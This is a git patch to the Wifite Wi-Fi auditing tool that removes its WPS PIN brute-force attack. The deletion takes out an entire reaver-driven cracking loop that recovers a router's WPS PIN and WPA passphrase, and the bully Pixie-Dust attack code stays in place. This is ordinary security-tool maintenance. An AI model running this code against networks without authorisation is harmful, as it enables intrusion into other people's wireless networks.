From 100528cac33ba9d05a441478a8513b772a86a697 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 10 Mar 2018 15:40:58 -0500 Subject: [PATCH] Removed WPS PIN attack completely from Wifite. --- py/Arguments.py | 23 ++---- py/Bully.py | 14 ++-- py/Configuration.py | 12 --- py/Reaver.py | 182 -------------------------------------------- 4 files changed, 10 insertions(+), 221 deletions(-) diff --git a/py/Arguments.py b/py/Arguments.py index bbbe96f..6518594 100644 --- a/py/Arguments.py +++ b/py/Arguments.py @@ -236,12 +236,15 @@ class Arguments(object): wps.add_argument('--no-wps', action='store_true', dest='no_wps', - help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust, PIN) on WPA networks (default: {G}off{W})')) + help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on WPA networks (default: {G}off{W})')) wps.add_argument('--wps-only', action='store_true', dest='wps_only', - help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust, PIN) on WPA networks (default: {G}off{W})')) + help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on WPA networks (default: {G}off{W})')) + + # --pixie is IGNORED: PIN attack no longer available in Wifite wps.add_argument('--pixie', + help=argparse.SUPPRESS, action='store_true', dest='pixie_only', help=Color.s('Only use the WPS Pixie-Dust attack (no PIN) (default: {G}off{W})')) @@ -259,22 +262,6 @@ class Arguments(object): type=int, help=Color.s('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})') % Configuration.wps_pixie_step_timeout) - wps.add_argument('--wpst', - action='store', - dest='wps_pin_timeout', - metavar='[seconds]', - type=int, - help=Color.s('Time to wait before failing WPS PIN attack (default: {G}%d sec{W})') - % Configuration.wps_pin_timeout) - wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pin_timeout', type=int) - wps.add_argument('--wpsmr', - action='store', - dest='wps_max_retries', - metavar='[retries]', - type=int, - help=Color.s('Maximum number of Retries before failing (default: {G}%d{W})') - % Configuration.wps_max_retries) - wps.add_argument('-wpsmr', help=argparse.SUPPRESS, action='store', dest='wps_max_retries', type=int) wps.add_argument('--wpsmf', action='store', dest='wps_fail_threshold', diff --git a/py/Bully.py b/py/Bully.py index c0e5df8..2cd72fc 100644 --- a/py/Bully.py +++ b/py/Bully.py @@ -12,10 +12,8 @@ from CrackResultWPS import CrackResultWPS import os, time, re from threading import Thread -# TODO: Support Pixie/PIN settings in Configuration - class Bully(Attack): - def __init__(self, target, pixie=False): + def __init__(self, target): super(Bully, self).__init__(target) self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0 self.pins_attempted = 0 @@ -27,7 +25,6 @@ class Bully(Attack): self.crack_result = None self.target = target - self.pixie = pixie self.cmd = [ "stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292 @@ -36,16 +33,15 @@ class Bully(Attack): "--channel", target.channel, "--detectlock", # Detect WPS lockouts unreported by AP "--force", - "-v", "4" + "-v", "4", + "--pixiewps", + Configuration.interface ] - if self.pixie: - self.cmd.append("--pixiewps") - self.cmd.append(Configuration.interface) self.bully_proc = None def attack_type(self): - return "Pixie-Dust" if self.pixie else "PIN Attack" + return "Pixie-Dust" def run(self): with Airodump(channel=self.target.channel, diff --git a/py/Configuration.py b/py/Configuration.py index c921029..4891336 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -82,11 +82,8 @@ class Configuration(object): Configuration.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks) Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks Configuration.use_bully = False # Use bully instead of reaver - Configuration.pixie_only = False # ONLY use Pixie-Dust attack on WPS - Configuration.wps_pin_timeout = 600 # Seconds to wait for PIN before WPS PIN attack fails Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails - Configuration.wps_max_retries = 20 # Retries before failing Configuration.wps_fail_threshold = 30 # Max number of failures Configuration.wps_timeout_threshold = 30 # Max number of timeouts Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs @@ -214,21 +211,12 @@ class Configuration(object): if args.use_bully: Configuration.use_bully = args.use_bully Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks') - if args.pixie_only: - Configuration.pixie_only = args.pixie_only - Color.pl('{+} {C}option:{W} will only use {G}WPS pixie-dust attack{W} on WPS targets') if args.wps_pixie_timeout: Configuration.wps_pixie_timeout = args.wps_pixie_timeout Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout) if args.wps_pixie_step_timeout: Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout) - if args.wps_pin_timeout: - Configuration.wps_pin_timeout = args.wps_pin_timeout - Color.pl('{+} {C}option:{W} WPS PIN attack will timeout after {G}%d seconds{W}' % args.wps_pin_timeout) - if args.wps_max_retries: - Configuration.wps_max_retries = args.wps_max_retries - Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d retries{W}' % args.wps_max_retries) if args.wps_fail_threshold: Configuration.wps_fail_threshold = args.wps_fail_threshold Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold) diff --git a/py/Reaver.py b/py/Reaver.py index e448eb7..4d84373 100644 --- a/py/Reaver.py +++ b/py/Reaver.py @@ -157,188 +157,6 @@ class Reaver(Attack): stdout_write.close() return False - - def run_wps_pin_attack(self): - # Write reaver stdout to file. - self.stdout_file = Configuration.temp('reaver.out') - if os.path.exists(self.stdout_file): - os.remove(self.stdout_file) - stdout_write = open(self.stdout_file, 'a') - - # Start reaver process - command = [ - 'reaver', - '--interface', Configuration.interface, - '--bssid', self.target.bssid, - '--channel', self.target.channel, - '--session', '/dev/null', # Don't restart session - '-vv' # verbose - ] - reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) - - self.success = False - pins = set() - pin_current = 0 - pin_total = 11000 - failures = 0 - state = 'initializing' - - with Airodump(channel=self.target.channel, - target_bssid=self.target.bssid, - skip_wps=True, - output_file_prefix='wps') as airodump: - - Color.clear_line() - Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...") - - while True: - try: - airodump_target = self.wait_for_target(airodump) - except Exception as e: - Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e) - Color.pl("") - return False - time.sleep(1) - percent = 100 * float(pin_current) / float(pin_total) - Color.clear_line() - status = '{G}%.2f%% done{W}, ' % percent - status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total) - status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold) - Color.pattack("WPS", airodump_target, "PIN Attack", status) - - if failures >= Configuration.wps_fail_threshold: - Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}') - Color.pl("") - break - - # Get output - out = self.get_stdout() - - # Clear output file - with open(self.stdout_file, 'w'): - pass - # CHECK FOR CRACK - - (pin, psk, ssid) = Reaver.get_pin_psk_ssid(out) - if pin is not None: - if psk is None: - psk = '' - elif ssid is None: - ssid = target.essid - # We cracked it. - self.success = True - Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') - self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) - self.crack_result.dump() - break - - - # PIN PROGRESS - - # Reaver 1.5.* - match = None - for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): - # Look at last entry for "Pin count advanced" to get latest pin count - pass - if match: - # Reset failures on successful try - failures = 0 - pin_current = int(match.group(1)) - pin_total = int(match.group(2)) - - # Reaver 1.3, 1.4 - match = None - for match in re.finditer('Trying pin (\d+)', out): - if match: - pin = int(match.group(1)) - if pin not in pins: - # Reset failures on successful try - failures = 0 - pins.add(pin) - pin_current += 1 - - # Failures - if 'WPS transaction failed' in out: - failures += out.count('WPS transaction failed') - elif 'Receive timeout occurred' in out: - # Reaver 1.4 - failures += out.count('Receive timeout occurred') - - # Status - if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' - if 'Starting Cracking Session' in out: state = '{C}cracking{W}' - # Reaver 1.4 - if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' - - if 'Detected AP rate limiting' in out: - state = '{R}rate-limited{W}' - if Configuration.wps_skip_rate_limit: - Color.pl(state) - Color.pl('{!} {R}hit rate limit, stopping{W}') - Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + - ' this kind of failure in the future{W}') - break - - if 'WARNING: Failed to associate with' in out: - # TODO: Fail after X association failures (instead of just one) - Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}') - break - - match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) - if match: - eta = match.group(1) - state = '{C}cracking, ETA: {G}%s{W}' % eta - - match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) - if match: - eta = match.group(1) - state = '{C}cracking, ETA: {G}%s{W}' % eta - pins_left = int(match.group(2)) - - # Divine pin_current & pin_total from this: - pin_current = 11000 - pins_left - - # Check if process is still running - if reaver.pid.poll() is not None: - Color.pl('{R}failed{W}') - Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') - self.success = False - break - - # Output the current state - Color.p(state) - - ''' - [+] Waiting for beacon from AA:BB:CC:DD:EE:FF - [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: ) - [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 - [+] Trying pin 12345670. - [+] Pin count advanced: 46. Max pin attempts: 11000 - [!] WPS transaction failed (code: 0x02), re-trying last pin - [!] WPS transaction failed (code: 0x03), re-trying last pin - [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) - [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking - [!] WARNING: 25 successive start failures - [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) - [+] 0.55% complete. Elapsed time: 0d0h2m21s. - [+] Estimated Remaining time: 0d15h11m35s - - [+] Pin cracked in 7 seconds - [+] WPS PIN: '12345678' - [+] WPA PSK: 'abcdefgh' - [+] AP SSID: 'Test Router' - - Reaver 1.4: - [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) - [!] WARNING: Receive timeout occurred - - ''' - - reaver.interrupt() - - return self.success - - @staticmethod def get_pin_psk_ssid(stdout): ''' Parses WPS PIN, PSK, and SSID from output '''